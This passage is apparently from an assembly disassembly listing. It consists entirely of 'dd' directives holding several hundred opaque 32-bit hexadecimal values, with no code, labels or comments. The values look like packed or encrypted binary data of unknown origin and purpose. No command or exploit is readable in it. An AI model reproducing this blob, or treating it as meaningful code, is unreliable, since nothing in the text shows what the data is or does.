dd 0A9B02178h, 0DECC0E5Fh, 30C04033h, 885AD70Bh, 21E472FCh
dd 2C8F31D5h, 0D7D049FEh, 0EE648D9Ah, 5E606B20h, 9377A35Fh
dd 52C181AAh, 58660015h, 0D0D44828h, 33F9F415h, 3C013578h
dd 7C9BA5F7h, 500D0242h, 0E215BE6Ah, 97915033h, 38D496DDh
dd 0BA5A66AEh, 0AD3A0769h, 32409F53h, 0E7E91709h, 4FA2A856h
dd 0A1D1830Fh, 0CDB92AF5h, 10A8B2E4h, 6C812030h, 201F610Ah
dd 351310ADh, 88BE4FCFh, 56075709h, 0D9606468h, 0EAC05E34h
dd 14DF45F0h, 88E6C151h, 0AFF29312h, 9BC42AB2h, 8DCEBE3Ah
dd 7F87680Bh, 7C20E766h, 7114FA08h, 28445A71h, 7A27E9A2h
dd 62135C0Ch, 0CFC4AB34h, 3901EB03h, 1E436A22h, 0D28E9F0Eh
dd 3C9BB87Ch, 592A6410h, 9C433ECFh, 92D4DF27h, 79092005h
dd 7FC94FC2h, 6243EFF9h, 0EA173E7Ah, 3ED03719h, 128E61DAh
dd 9541F208h, 7ECB6864h, 395AF1EDh, 4D550479h, 0F6835412h
dd 0FCA15EA2h, 41FA5EFDh, 47B2A99h, 4CAE4001h, 607E16DDh
dd 4B91A874h, 2F58509Bh, 2157B8E3h, 5D58C78Dh, 0D672A87Bh
dd 0CA05B709h, 0B7A40009h, 9FFD202Ch, 0DD0061D0h, 8816C580h
dd 9D05E9EEh, 5DFC0Bh, 0AB6304F6h, 5BAAA127h, 0D63BB33Ah
dd 0E90BA49Eh, 0B3E4B558h, 4D9F8B7Dh, 0D8F701BEh, 7D23F8E9h
dd 1A68C314h, 0A6AE8431h, 39E9C280h, 0B0BDA21h, 18A95F71h
dd 2DE2D558h, 1D39D505h, 0E4C20163h, 0A6A2D161h, 325E13CEh
dd 94FF5C16h, 94F795EBh, 4CE913B9h, 39003D93h, 0C0680AE1h
dd 51935F13h, 5F1323BBh, 8198FDD3h, 132EBEEEh, 0C600EDDEh
dd 262C43BBh, 0F620F901h, 0B571014Ah, 4EE23534h, 51352090h
dd 0B621C040h, 2A090AF7h, 0E1FF49FCh, 67F15339h, 0D7359E57h
dd 0D2F013C4h, 34F81368h, 0B319FC5Dh, 44D082E9h, 591F2C63h
dd 0C5E74084h, 6F00D855h, 7BC7BA52h, 32E96D5Dh, 5C24FA20h
dd 0F6BDC7FAh, 0B5FDBF55h, 0DEDEB626h, 976CD309h, 0D7280B57h
dd 5263A65h, 0B02C7C10h, 4AC51ED6h, 92A21613h, 58442CDFh
dd 0E97B297Ch, 0BF52564Ah, 596F49AAh, 7C7A64FEh, 0E1C945DEh
dd 0A1CB7C28h, 0CE3F25E7h, 3D5A7E95h, 127CEB17h, 3089419Eh
dd 0AE4AB1E7h, 0BD6790FEh, 682665F2h, 0D23E8C12h, 42702FBAh
dd 80537500h, 1A70539Ch, 946CB551h, 2CB25035h, 59CA8027h
dd 58B56282h, 5DFE75h, 0D2F659EAh, 7F4BA5E9h, 0E9CEDBE7h
dd 0F0D14DEBh, 715C6861h, 0F1429D88h, 0FDE5880Ah, 5A08CF2Ch
dd 58E68176h, 3C1D713Bh, 211261C0h, 13B020Dh, 835BCF9h
dd 6BA53531h, 0F675E02Dh, 21180B22h, 61AB7B1Fh, 2327D183h
dd 363202C1h, 248057C9h, 0E9396627h, 7A0F065Fh, 76746E5Ch
dd 0FCAF5161h, 1608B72Eh, 8EAB5FF9h, 8940486Fh, 5F082936h
dd 0C94A0053h, 30C46B17h, 0F576FCEEh, 4C41CFBEh, 74E2C15h
dd 5B438569h, 6ACF4480h, 714B58DCh, 5D3F6D05h, 135FFC1Fh
dd 0A9AD0CE9h, 1A8FC507h, 9DD49BEh, 772E0BC8h, 61486490h
dd 62C77FC0h, 97287C77h, 0E003AE5Fh, 83649E53h, 123D9EEFh
dd 0D1A2BE25h, 5A113C32h, 0E2CE45DFh, 5B00E4AAh, 9006E1C0h
dd 0B93E4A46h, 613D634h, 0C1808142h, 0F8F655C2h, 0E4A22C50h
dd 74C8E01Dh, 0D2E2E504h, 0C0E14F70h, 2FD1054Dh, 7C3C5E3Dh
dd 5D148869h, 0CB902DDAh, 1CFB9020h, 1E5BF828h, 582DB8F0h
dd 299861ECh, 27C530BFh, 0EFB7D348h, 0FD393121h, 0FC13443Bh
dd 0BD4109Eh, 834D136Eh, 4F1AEBF0h, 792BD51h, 7FCE2293h
dd 0D610FD95h, 7E502708h, 55C4019h, 0E135139Dh, 60808A0Ah
dd 4A7A6D65h, 24D3C04Ch, 723B1B63h, 237DC41h, 2935394Dh
dd 9367F5C8h, 54515A84h, 125AB2FFh, 5EBC0ADFh, 21066882h
dd 175116FDh, 0EC2FC8E9h, 168C2A5h, 6090D667h, 446B2B85h
dd 0A29D359Eh, 48DA9060h, 510336EFh, 5D7AE575h, 34AAB8F9h
dd 4805288Dh, 0EA891E9Fh, 4DF26DC0h, 3B7F3077h, 2B6FA90Ch
dd 1097404Ch, 5C18DFCDh, 0A825BE57h, 0CC80609Ch, 89FB7FF9h
dd 55BFFAE8h, 8B3EBA14h, 4D680A56h, 18407472h, 0B06E0D01h
dd 79C625AAh, 665A4E5Dh, 0E061ADAh, 95125B4Ah, 57C46701h
dd 0ED6156F1h, 272A76C0h, 0F3DE0133h, 8698755Ah, 5E5BF329h
dd 0B6856CBDh, 12C0EEE4h, 0E93E2868h, 8E3BFD6Eh, 0C1FF3645h
dd 6C3EA412h, 4121937Bh, 0F7030EDBh, 3CFA80ACh, 280BB43Fh
dd 0FF58C301h, 0DDF06FCAh, 2E0E6C97h, 52712770h, 0E8D09684h
dd 6023C997h, 0B73C89F9h
dd 0E95E80FCh, 5F16096Fh, 0C8121CFBh, 52C25D0Dh, 0BA922330h
dd 0E230316Eh, 791DF5B0h, 8952CFA5h, 0BDA4F029h, 0E95853D6h
dd 20C84B5Ch, 0C3106E23h, 9BAD514Eh, 9D580840h, 13C69C7Dh
dd 0BCD53FE9h, 722AC143h, 7B7C76DDh, 0F2D80112h, 2DF8C009h
dd 489543B0h, 0AB795838h, 0D0DEC222h, 6D6668BEh, 0BC008F5h
dd 7010341Ah, 2555F8DCh, 0E74272E9h, 0C2926557h, 9EDF28D7h
dd 685D0864h, 0E9091259h, 5DB9626Ah, 0D57AF876h, 0E9415C79h
dd 653A82FDh, 0E96960A9h, 3FE106B5h, 0EEE405FDh, 375890E2h
dd 0FB29854Fh, 4651A72Bh, 4C03587Eh, 554A2B68h, 0EE92BDF2h
dd 0B33B5D69h, 769E853Dh, 0EEC45FE8h, 78C41323h, 3C72A1BBh
dd 9A022778h, 0AEF65532h, 0E9F1A501h, 4F54B1ACh, 7ED4A1FAh
dd 94DADDA7h, 215475Dh, 0DF2673EBh, 2D2461FFh, 3B191A29h
dd 7BFEA10Ah, 179BC306h, 35660E12h, 582E1BEh, 69753CC0h
dd 1C920193h, 2C03A829h, 0A9EFAA34h, 0B49A82D1h, 49A27FFAh
dd 0B3E0C680h, 99BB6DB2h, 0F3534A17h, 65CF9CEFh, 0B51C00BFh
dd 6C5FE9Bh, 0F66CCD80h, 0B9120AD5h, 87491EE9h, 16727659h
dd 0A3C30A48h, 9AF42F81h, 411807A4h, 0EEDE2048h, 4FA5B75Bh
dd 5EE1ABC2h, 4A0D8F3Ah, 5CC21198h, 0E7842C02h, 6E680725h
dd 75BC65D2h, 0E9C1F251h, 0AC331E35h, 3052578h, 9E32D747h
dd 3DE3E55Fh, 0CA7D4BA5h, 9211541Eh, 166AA856h, 62DD953Ah
dd 0ACD5A222h, 18F1BAD2h, 0E49DEC2Ah, 87FFACBBh, 6408398Dh
dd 6E81C34h, 0A5B2609Dh, 6A5DC417h, 755A0BA1h, 2E87B631h
dd 1EA7212h, 9F715879h, 0F9F26E02h, 1B8BFF4Ah, 2326050h
dd 318272D0h, 9A5C5FF8h, 0E94D602Dh, 7EAE9D4Fh, 0BE1DE8C4h
dd 525F1B44h, 0C646F8AAh, 20A36275h, 0D4E060E0h, 805A6604h
dd 1FAB45C4h, 0F420416Dh, 7278D5E9h, 42D003BCh, 88052B11h
dd 902D974Ch, 746E77Ch, 44681CB7h, 9EDD2773h, 0E4EF94C7h
dd 0C4FAC65Ch, 0EB6C1C6Ah, 2DE95178h, 2320EEAAh, 798BB97Ch
dd 39F56F6h, 0B9C529B7h, 4B2D3F2Eh, 4E46EE11h, 0B10E00ABh
dd 8172AE4Eh, 4155CE04h, 40EA2E12h, 0BE4FFA00h, 0F29A567Eh
dd 6757EE0Bh, 0EFAD0561h, 8EE90702h, 2CC7671Fh, 0B78B151Dh
dd 0AD0B569Eh, 39B40237h, 8002E4C0h, 0E188ECB4h, 0CE202A58h
dd 5E062017h, 31E7B900h, 0C9812191h, 52813ECh, 22A0D868h
dd 754F3F00h, 11CB8143h, 0F395484Eh, 78E02A2Fh, 581EC721h
dd 0F4964897h, 97D85DFBh, 0FE33528Ah, 6D130BB2h, 84E1E90Ah
dd 952250Bh, 0D157824Dh, 0E26861DBh, 45FD8C3Fh, 0B530A2Dh
dd 0C7FE73B7h, 487ECFEh, 1EAEF780h, 0E28EDEE7h, 0FA0B509Dh
dd 82972570h, 98958E79h, 5DA85EB6h, 7F82ADDFh, 0F85D5258h
dd 7E6B98E2h, 37E12C01h, 43FA93BCh, 72D339A3h, 0C5A099EAh
dd 0DD1F9EBBh, 0A85E1E7Ah, 53CF84ECh, 271F3C1h, 2B372062h
dd 0E3A92C65h, 0FFDDD509h, 0D8040FB2h, 0F91F17D8h, 14E4A9D6h
dd 9335139Bh, 0B33E1653h, 426D074Dh, 81C91BA1h, 2B1E314Ch
dd 1F2DCAF0h, 9AC4Fh, 5035AF2h, 0D74B0120h, 64869362h
dd 0BBF70272h, 963D323h, 503FE77h, 46518868h, 2BA34AACh
dd 0E55EC502h, 8553E3CDh, 8FBAF9E7h, 0BD364F03h, 0CA594E07h
dd 92D4909Eh, 2BFAB1h, 1752C262h, 60B70962h, 9D832078h
dd 0CE0EB564h, 33317997h, 71164DE9h, 8666BDD8h, 20CB4F8Ah
dd 0B9F4BCB6h, 0C5996158h, 42EFC788h, 585AD380h, 0F4A778D9h
dd 0A5FE2798h, 3B6E7769h, 4AFFE6BDh, 338CFA5Ch, 25B32D53h
dd 59EAC120h, 0D05A305Bh, 0FCBE57AEh, 76B684DCh, 9DB1B3A4h
dd 6125B480h, 2DEE3637h, 16053D0Fh, 0B3CE611h, 814E0E80h
dd 0ED2735E6h, 30EE602Fh, 95F6511h, 6022D691h, 80A5B700h
dd 6C0C776h, 2C4D04FBh, 710EBDCCh, 2C5EBC9Dh, 0CD58C8FEh
dd 0E831A26Dh, 0CB0876C3h, 204AC1Ch, 9E290AC0h, 5E36D02Dh
dd 0B5021679h, 6515E596h, 0F6AC2A4Eh, 0B80650E8h, 8BF2343h
dd 1C292756h, 0D677BB92h, 0A7098B9Bh, 0E53B942Dh, 0F8D525C4h
dd 189D0821h, 0C73E99B4h, 0A27FED7Dh, 71403D9Dh, 0C009262Dh
dd 0FA11E94Fh, 6FF30480h, 0C031FC49h, 0B01884FCh, 0EED11F13h
dd 0F3BDF601h, 1738F027h, 289D0E50h, 4CD8C4Ch, 102C50EFh
dd 2ED4F137h, 83DD8FFCh, 48CE718Bh, 270C2A05h, 12BE1D36h
dd 98BEAEDh, 0C406274Ah, 37E8AB58h, 0E4B6ADD6h, 859021BBh
dd 30756B45h, 16AAE985h, 0F69DBE89h, 1094E22Bh, 5A09077Fh
dd 0CF87C8FEh, 0AB2B389h, 2CDA5139h, 57C92ED3h, 0BA5D5A3Ah
dd 2FE5F912h, 0C54296DCh, 22C75538h, 0E9049825h, 710F59FDh
dd 1A18F305h, 58B9B9E0h, 2D40016Ah, 32E1D72h, 0F45E57F2h
dd 5D969C42h, 4142975Eh, 9FDD6613h, 0C3449068h, 0E991CA04h
dd 912F628h, 72299EE4h, 8F24382h, 0DB08DD74h, 2A624EFh
dd 69B2602Bh, 688C8F61h, 598E97C9h, 2598B35Fh, 0D75E8B5Ch
dd 0CA29BE1Ch, 6828EA0Eh, 0B7E0F420h, 0BB25BBF8h, 9F5BD812h
dd 0FDA7B5FEh, 0FE47BD02h, 0E70D709h, 0F15EF527h, 871F62A8h
dd 77805005h, 0D5368Fh, 7591B855h, 0C829BE4Bh, 0B2A8594Ah
dd 8D0D4000h, 2D23F879h, 809CF702h, 0D9C501D6h, 0C6DE4EF5h
dd 7E073AEBh, 8FA08B5h, 510FE90Bh, 0AC8B3DE5h, 93808B55h
dd 0A2EAF5C3h, 2F400C60h, 8472F01Eh, 42180883h, 56818C2h
dd 0B6602533h, 702FA78h, 0FF9B0435h, 0C8CA40D7h, 2E7F1250h
dd 0ED40BAE9h, 2B586ABAh, 0EC95B001h, 0AC0CD348h, 0C52410FBh
dd 0B9C38816h, 17721C83h, 5414DF27h, 275FD8A2h, 16FC34F0h
dd 40470E8Fh, 6D617781h, 2E0D5960h, 0E7B60971h, 5402B800h
dd 592A0B2Dh, 20F1265Eh, 5AABB00Bh, 416EB243h, 61AFD090h
dd 987E673Fh, 0B9745375h, 7F109F24h, 0B42C302Bh, 7A02B922h
dd 7520517Dh, 807674Ah, 61E96F53h, 0D9F5BBDDh, 0CD2EBD35h
dd 4F69600Fh, 1C853913h, 0BEBCD4FAh, 0C0E39BC3h, 4A60A572h
dd 646400D1h, 0E9FEF59Fh, 79EC772Dh, 991AE2B5h, 60CAF08h
dd 9E6BB52h, 6D157DCAh, 0A02E84h, 0DA3648B9h, 0A823F40Fh
dd 1D3D04C4h, 252CE828h, 84B6CDE0h, 13E66DC0h, 4F02A663h
dd 0CC5BD846h, 2F073717h, 5B1B79A0h, 0D3E5A94Bh, 2E686BF0h
dd 6A121A3Fh, 4256028Ah, 0A1810E6Bh, 2C1F041Eh, 0A99E7BB7h
dd 4B70E9D0h, 0CA24474h, 38BCBB0Dh, 685061E1h, 2F68BC25h
dd 93567F9Ah, 66824A5Ah, 0BFE916A3h, 3025994Ah, 1712905Bh
dd 50FB3D45h, 135C0869h, 38DD68C2h, 2374126Ch, 97DF2980h
dd 5466442Fh, 0E3E01635h, 0EB8A749Fh, 0E48DCE77h, 0CCC197B5h
dd 0ADBE048Fh, 0F5E84BFCh, 21397909h, 5CA2F40Eh, 487F6347h
dd 1311C52Eh, 14F5A51h, 299BD6D2h, 0BAB6300Bh, 0F22B5B81h
dd 2D413EC4h, 51DB76D3h, 16A87B05h, 0BB8ABA4Fh, 9406342Ah
dd 0A7E0824h, 59C3210Bh, 96FDE976h, 5DF325A4h, 8783235Fh
dd 0EF8B0351h, 179F504Ah, 9CDC3ADAh, 6E18BB01h, 0A8E84979h
dd 25C8BFD8h, 5912A6BEh, 0E0FB758Eh, 972655D5h, 9B205240h
dd 6897B8B7h, 8129627Ch, 0E0DA09A0h, 0AF5F5978h, 4CD2BD41h
dd 0F12E2D5Bh, 57D99Eh, 3D7188BFh, 9A171E83h, 1024ED2Ch
dd 675AC4DBh, 989C2C4h, 7D69E67Ch, 41091345h, 0DCB45544h
dd 22D2E0C1h, 0BB2E55AFh, 3401A712h, 0AA50DD2Bh, 0EA22C43Fh
dd 0A561699Dh, 4EFBC13Eh, 5D9B9D7Dh, 23A5D0D6h, 1462AFCh
dd 75E2BA3Bh, 2E2966F2h
dd 325270D1h, 0FE451771h, 0F97895A5h, 40D1C702h, 0A87D2E4Dh
dd 0D42D08A9h, 24335968h, 2049F60Fh, 42EF03AAh, 2671053Dh
dd 1C7F0D0Ch, 2530B816h, 0F4F9C523h, 0D790796Fh, 70A84022h
dd 83B29577h, 6E66C0F5h, 0ED808049h, 0EE886216h, 520EA98Ah
dd 0F30155B6h, 9EDEACE9h, 2781BED4h, 0F1213B9Ch, 0AE3893F1h
dd 0CD355B01h, 4719AF43h, 3A4BF0BFh, 464C4E32h, 40FC0503h
dd 5AD0CE68h, 25120705h, 2D707714h, 0B9DAC525h, 0D8F05605h
dd 49B3914Ah, 8583F95Ch, 48CB99Eh, 4B40595Eh, 0AAD4FA6Bh
dd 0DF5F0809h, 0A4329316h, 0DDEF57FDh, 5E7C4ED0h, 7CC4822Dh
dd 23463FEh, 72EA2902h, 90D070ACh, 1769EDEAh, 0C777A659h
dd 2273FC9h, 0E905C468h, 0FCCB8402h, 0C27A5A0Bh, 2771C0Fh
dd 0FE163345h, 1A6021ADh, 0DC45371h, 4930D8BDh, 5A3B724Fh
dd 0F713F716h, 54D7B62h, 30F94A4Fh, 4C5BB3F5h, 0F227277Eh
dd 4F9351h, 0FB67E3BEh, 0BA04521Ah, 2BCA65A9h, 63F742FBh
dd 0ECC06E4Dh, 92B6DCE6h, 7394AB62h, 12F70E8Dh, 45D8AE16h
dd 0B73825E9h, 3BA7922h, 5C97397Ah, 9E933D55h, 15C416Fh
dd 0E90A3438h, 0EDC56B6Ch, 0C903F2FBh, 0C9717557h, 0BD551630h
dd 4C581F83h, 9CFE8C4Bh, 0B42A681Ch, 0BA171E33h, 0CF004C9Bh
dd 3CA4E281h, 0E97639D1h, 45ABEDACh, 3AA8B10Ah, 3A7729FBh
dd 0BD2BCFDh, 1F7C13BBh, 6434880h, 0B356AB68h, 7C4104A8h
dd 0A601AA5Fh, 64E502D9h, 5804B22Bh, 21E00201h, 5F0901BFh
dd 0C82099DEh, 7B5BCA09h, 463E0090h, 973E557Eh, 804BDEAh
dd 72A0EE5Ah, 9AFA54A2h, 697295EBh, 58C985BFh, 207A26C1h
dd 0CA25C16Fh, 7EA37B02h, 2678578Ch, 5A72075Ch, 7E5A25D2h
dd 90C201Bh, 0EBF4E95Fh, 2D6AFB55h, 0F0D8117Eh, 0A8CB9573h
dd 8272F3F0h, 10ACB09h, 0C5D97FDEh, 0D3D6D66Bh, 9E74E20h
dd 57F8685Dh, 8F8E4BF9h, 0C7464B5Eh, 53DF0F57h, 2289C849h
dd 0C6EB117Fh, 0A5F7F52Fh, 0A403FE18h, 0B26C322Eh, 5CB85002h
dd 9F62A468h, 34A1A088h, 0AD317A2Fh, 0F98952CEh, 18FD7B40h
dd 3C12B57Fh, 592FEF28h, 0F70BB471h, 18BA5DD2h, 9098F055h
dd 0A57C95AEh, 7E59E90Bh, 0BA7F2737h, 7016D7F6h, 66580096h
dd 7E482E68h, 5A1910E7h, 0A4046EE9h, 0C7188F75h, 0FD9DF35Bh
dd 6BF9DF18h, 0B5F0FACFh, 133E6BC5h, 82E9F27Bh, 39393B1Fh
dd 0FAF5AC50h, 7C172F5Ah, 2027027Ch, 6345F75Dh, 7F21E794h
dd 5BD1EC2Fh, 6422F5C1h, 8F94BE05h, 1B5F1EEh, 6A4E6198h
dd 30204739h, 51369AF1h, 20A7C952h, 4BE3B6D5h, 0BF2BAB14h
dd 0DC8B8C4Bh, 0F7835F60h, 58FA2811h, 85002B34h, 0E94E8BABh
dd 22DC0B68h, 0C280CA04h, 56E3E984h, 0F6EA8606h, 20CB08D5h
dd 40677973h, 0CFFEABB7h, 3B5551B0h, 0B2482ED2h, 3402C28h
dd 3608138Eh, 623891D9h, 0DCEF93A7h, 1F9CB906h, 661071ACh
dd 0A975528h, 88A33C9h, 0C1E2E08Ah, 22764F45h, 716ACA00h
dd 1AE9189Eh, 0F182A8D9h, 457402CFh, 59CE29B8h, 2B30E4F5h
dd 42C0210Ch, 0AC74FBE9h, 0DABFFC2Dh, 4C423C60h, 0E9D1FFCEh
dd 667E26A3h, 4A6CB2A9h, 0BF5D80BDh, 31EE22ABh, 0A3016298h
dd 290DEA2Ch, 13F5AD7h, 0D8152A71h, 7BA92E36h, 0A172893Bh
dd 167FA9B4h, 0EDD0FED1h, 4E921F4Bh, 7307FA7Ch, 8B3B5AD6h
dd 34307D66h, 0B9808EECh, 0E55C2697h, 0D5612F9Ch, 5F6A785Dh
dd 87A564EBh, 0F6A71F2Ch, 48F2DE5Ch, 290A566Dh, 7C109FEBh
dd 2BDE267Ch, 0AFE4453Fh, 0E1BC2D17h, 3AE84D30h, 2412B575h
dd 0D013D509h, 805A7841h, 2CE42AEAh, 0ED9CB5D0h, 4508182Dh
dd 15DD09C8h, 44880071h, 0A6B507C3h, 1E023951h, 8808212Dh
dd 0EC6CD7A5h, 46701E27h, 4D1C2020h, 0E813665Eh, 9BF721BAh
dd 1ED96964h, 23565058h, 546221E4h, 1D66440Dh, 3C3BEFBBh
dd 645BDA16h, 35C9AC3Bh, 5A062659h, 180A7477h, 323C4EF2h
dd 0DFC5AD0h, 0F77F192Fh, 7DF1583h, 1B07D5Ah, 0EBF84AB9h
dd 12E5EC21h, 9B4F72Ah, 0B151FB68h, 53495DF4h, 0C34288F9h
dd 4BAA387h, 16EAB9A1h, 347F3103h, 0E612942Dh, 1A86258Eh
dd 0A300CB72h, 214E9D79h, 94455AD5h, 1FD92D32h, 79304A61h
dd 33D5C06Eh, 0FC6BA8CBh, 74170037h, 0C14E3D07h, 4338880Ch
dd 0A0AC3EB3h, 0C2399192h, 595F0022h, 0ACF85B21h, 45FFB47Ah
dd 0AFA636F2h, 21E91D21h, 0BE2D133Bh, 2555C9DFh, 8105B3D1h
dd 2E273256h, 0C4D074AFh, 3AB2B188h, 386150D9h, 7DFA7025h
dd 0E9F05F74h, 173560E3h, 0D171C6E2h, 0B9511307h, 16A46BE4h
dd 0ED5C04AFh, 0E17F8DBFh, 3C053B64h, 26815E54h, 500297C0h
dd 845FB5Dh, 81005C61h, 4B6BC1E1h, 185980Ah, 65A9444h
dd 9D774EE9h, 5400BB22h, 0C6B85363h, 0C4D42FCAh, 0C9FD0E62h
dd 1C74A0CAh, 3C86B640h, 5FA15098h, 2D0C37F3h, 0AC57084Eh
dd 0DC9325DFh, 7789D65Ch, 0B0946E60h, 2152DEEh, 39F904A9h
dd 7A2FBD07h, 68620127h, 0C7E6F7A9h, 32BBB81Dh, 90C6997h
dd 0BC7351Fh, 43921E41h, 354D6F01h, 33092E09h, 81227CC6h
dd 206B1877h, 7A03041h, 0A148B5BCh, 5D0F6309h, 0E8B702ECh
dd 83CB5D0h, 4C0140C7h, 0A57E234h, 0AEB885BBh, 0FB663461h
dd 6E5D9B30h, 0B264C455h, 1FD1BC1Eh, 1C1D1B0Ch, 438AC381h
dd 947E6130h, 0E00811AEh, 19CFFB4Bh, 9A54D85Ah, 6EAF8C9Dh
dd 7B6E07BDh, 0D24D561Fh, 1B5F266Dh, 2EEC939h, 8BB0A33Eh
dd 20D16453h, 0F69D9147h, 21CD0053h, 0F748B176h, 5810D560h
dd 60758A4Fh, 0B0A7D44Dh, 0F0940A31h, 4B11EC25h, 0B302815Bh
dd 5CB57B4Fh, 120AB42h, 0C980C7FEh, 0B4078E73h, 5BFC0193h
dd 0E07AE620h, 705E7FDEh, 320B1E88h, 0DCAFE08h, 84318D09h
dd 63CCE87Eh, 853E6FC0h, 15C7CEFAh, 4A973CFEh, 13B744FBh
dd 0D204134Bh, 112CBE7h, 700F9372h, 714C2069h, 968FF016h
dd 4A52ACCCh, 0E917055Dh, 210BAAA4h, 0D1E7757h, 25D351Eh
dd 81BE7E56h, 0E3FA52BEh, 0EE9755B6h, 4370BF6Dh, 17C5C54Fh
dd 9C18EAEh, 72906850h, 0C7C4315Ah, 3F5DEE2Dh, 81D2F527h
dd 36765D0Ah, 0A0B66BCFh, 392AB98Fh, 273E7AA8h, 3490BFF2h
dd 6596A68h, 2EC9FB3h, 8AA15A96h, 0B14383E4h, 0EE7C4B40h
dd 0FFB0CF8Bh, 0E125499Eh, 61CCD30Eh, 5454F968h, 5B6F9C3Eh
dd 0FAD8D695h, 0B2304912h, 9A136851h, 804234Bh, 0B907A0B0h
dd 0B69F91h, 3AF6E12Ah, 22903C2Dh, 0BA3E7DB0h, 1735C7Ch
dd 8970DF0Eh, 0EAF859CAh, 657C9D05h, 8D03978Dh, 505DB82Fh
dd 3F408ABBh, 59FB7729h, 502F7Ah, 4B180F9h, 16D9863Fh
dd 9B9014C6h, 987030E0h, 0B2ED0BD9h, 3C86B9ABh, 5D12AF95h
dd 0C8FE8E68h, 5E7553F6h, 5B4EF173h, 0B17A02E1h, 9DD72853h
dd 5F3425C9h, 0BD80D8DBh, 681B7003h, 29265487h, 295A02BEh
dd 0F5E935B4h, 555C3778h, 38D400F0h, 30BD0315h, 2B52EC9h
dd 0D5FCA5F5h, 8696841h, 506C8F7Bh, 2E0030AFh, 0BB531743h
dd 904F6BF4h, 9DF268Ah, 3A547C6h, 0CE406977h, 5FB0D9B3h
dd 7F578E0Ch, 16B80C7Bh, 0AEFA4FA1h, 70DCB883h, 0E0C87875h
dd 282C1CD8h, 62365268h, 5E56F163h, 89E9BD16h, 48D6E57Ah
dd 0E162A73Ch, 7C70BF2Eh, 0E1475FE9h, 0DD36F97Eh, 0F86928A2h
dd 0C14A09E9h, 685003E2h, 6004081Fh, 3BE555D6h, 545BD12Eh
dd 0C0C6325Ah, 317D5CB8h, 61709F34h, 0E90506C2h, 29066891h
dd 96E2BDF8h, 52C0E957h
dd 0D12C0D21h, 109DBB4Eh, 39FFE645h, 0B2326AA5h, 593E4942h
dd 0FA79537Ch, 85D49EDDh, 81FB0C9Eh, 54D26FCh, 105FF2BBh
dd 80016AC8h, 0EBC0BFF3h, 8C90EC02h, 25EBCEBDh, 155C9268h
dd 0D9BF07C5h, 7208C1F9h, 4A0FC496h, 0B8C38CEFh, 55166F1Fh
dd 0F5C23B57h, 0BCD9F728h, 94DD4A7h, 52773140h, 0F55120B7h
dd 0C5D360F7h, 0EA92ED96h, 0C2F787BBh, 0CEDD77FCh, 9C86F6E1h
dd 0C25F256Fh, 5AE2FF98h, 98FC6C75h, 602D71CDh, 51E6C090h
dd 60E58973h, 0BF801B2Ch, 4F760B1Dh, 0F0F3111h, 0E95EF3E0h
dd 4795058Ch, 6A63885Fh, 4202FDA7h, 6048F674h, 0F90E5A69h
dd 2E58155h, 602FC11Bh, 3E362019h, 0F50101DFh, 3DF2DE69h
dd 5BD06029h, 38F97AB0h, 0FE5A2DABh, 8045A66h, 0FF0C168Bh
dd 0BF39FB5h, 790F78CBh, 0D055B789h, 0FD90816Dh, 0BA257D21h
dd 0A5620261h, 6CC4AA92h, 9B9F01EDh, 0DBB18980h, 0D1176392h
dd 0D63104AFh, 11D4BEE9h, 0ACBF71D4h, 8C7AADD9h, 3B4ABF82h
dd 0BEF652EBh, 0F744A2E6h, 0DB879FE4h, 0EACA6457h, 6E548F0Ah
dd 4C5701E6h, 0C1183F5Eh, 9FBE3657h, 55B1CB8h, 721047FDh
dd 6C9A4007h, 16AE113h, 572F87FCh, 380F09F4h, 0C1630145h
dd 0E96B06EFh, 40740471h, 0EEA7572h, 0E94552CEh, 0D42EA1B8h
dd 0BBA0F631h, 0E8698366h, 1E857C08h, 0CFBB4653h, 0EB3E1216h
dd 0CB818107h, 0C2E90FC6h, 0BB41002Eh, 45E07EC7h, 0E5693B91h
dd 2F7E802Eh, 0CEE9101Bh, 55F23AE9h, 93C1FDD2h, 27E9B48Ch
dd 3292A01Fh, 3D386382h, 0FDFA4204h, 0A5830049h, 0D031B6F4h
dd 0B27674E9h, 0EE883918h, 4B5AF71Dh, 5446387Fh, 0E24A53A4h
dd 0F4583609h, 5E4558E1h, 5F4E9F9Ah, 4B68CA98h, 8F7BE9E2h
dd 4D5244DAh, 512CE902h, 452A6AC8h, 1F5D2AA4h, 29660A7Eh
dd 0EB04B2C3h, 8BEB4294h, 26CE1015h, 10F4BE25h, 0E0566B45h
dd 9CF0E2D9h, 0EDA29515h, 0DBDDEBF3h, 0E6774BC6h, 5D8990B7h
dd 0BD0BADC5h, 0A5C3141h, 98E7641Fh, 801C1F76h, 281741B8h
dd 45BB7E8Ah, 0B92607A5h, 5C68C21Dh, 6245DE43h, 0C344F921h
dd 575EF227h, 0A8617732h, 0FEC58A54h, 6E0BF8C1h, 6018FCBEh
dd 10236806h, 1772FB9Dh, 4B1EF82Ah, 31A53CE9h, 70DE6h
dd 2770B5B9h, 0AF5E3B0Fh, 4E1E302Ch, 3376504Fh, 0E92D9CC2h
dd 0E73E5C97h, 0DC5D4ACFh, 8546CC3Ch, 0B5F5A2A4h, 0F62A0531h
dd 0B5369463h, 0DF1B32FAh, 599B5209h, 5F399DABh, 4FDBF71Dh
dd 6802EBD1h, 0B6F436E0h, 35FBE984h, 83F028BAh, 31BF784Ah
dd 3FDBD8D4h, 0C2484544h, 6BA96802h, 79627FFCh, 504FA073h
dd 3980FBB4h, 0C49DF7F4h, 3FE48C8Ah, 6C1720Ch, 58E788BDh
dd 0F28E873Fh, 15D4BAC7h, 0E9D30638h, 5A9F6FB3h, 5E21B4F7h
dd 0FB87ECC4h, 1F2CE6BEh, 7080F2F3h, 4DB85054h, 3C410505h
dd 0CD532BE9h, 38BBD858h, 71556975h, 0DD946B9Bh, 0DEBC0B12h
dd 0FA8AE9C4h, 9DBB2CC5h, 233FF4E4h, 798344B6h, 985A0635h
dd 18D2999h, 319A2D57h, 31F75F47h, 7FFBCD31h, 2EF8F774h
dd 5E121153h, 4D8EAB56h, 0E85DE9C2h, 5B0BA4F5h, 8305E8C0h
dd 0D40160C7h, 3FD67AA9h, 12D4EFF2h, 0A1201706h, 0BD7BB4F0h
dd 867C04E2h, 5598E9D8h, 794481D6h, 0B918C5E9h, 0F323210Ah
dd 52C42E98h, 0E910AEE5h, 28B08B50h, 2080F69Dh, 594CB5A2h
dd 93A059AFh, 57E5FBAh, 0EC59870Ch, 1E9825Eh, 7E8F4AEEh
dd 0E2658B71h, 0ED0B747Ah, 5A1D3510h, 72CA0B57h, 0D68675C1h
dd 0EF77DBE1h, 0F432031h, 7D6058C7h, 6BCBE05h, 64AD787h
dd 4709D17Bh, 906B90E9h, 2530B10Bh, 0BA851AEBh, 53D8D79Fh
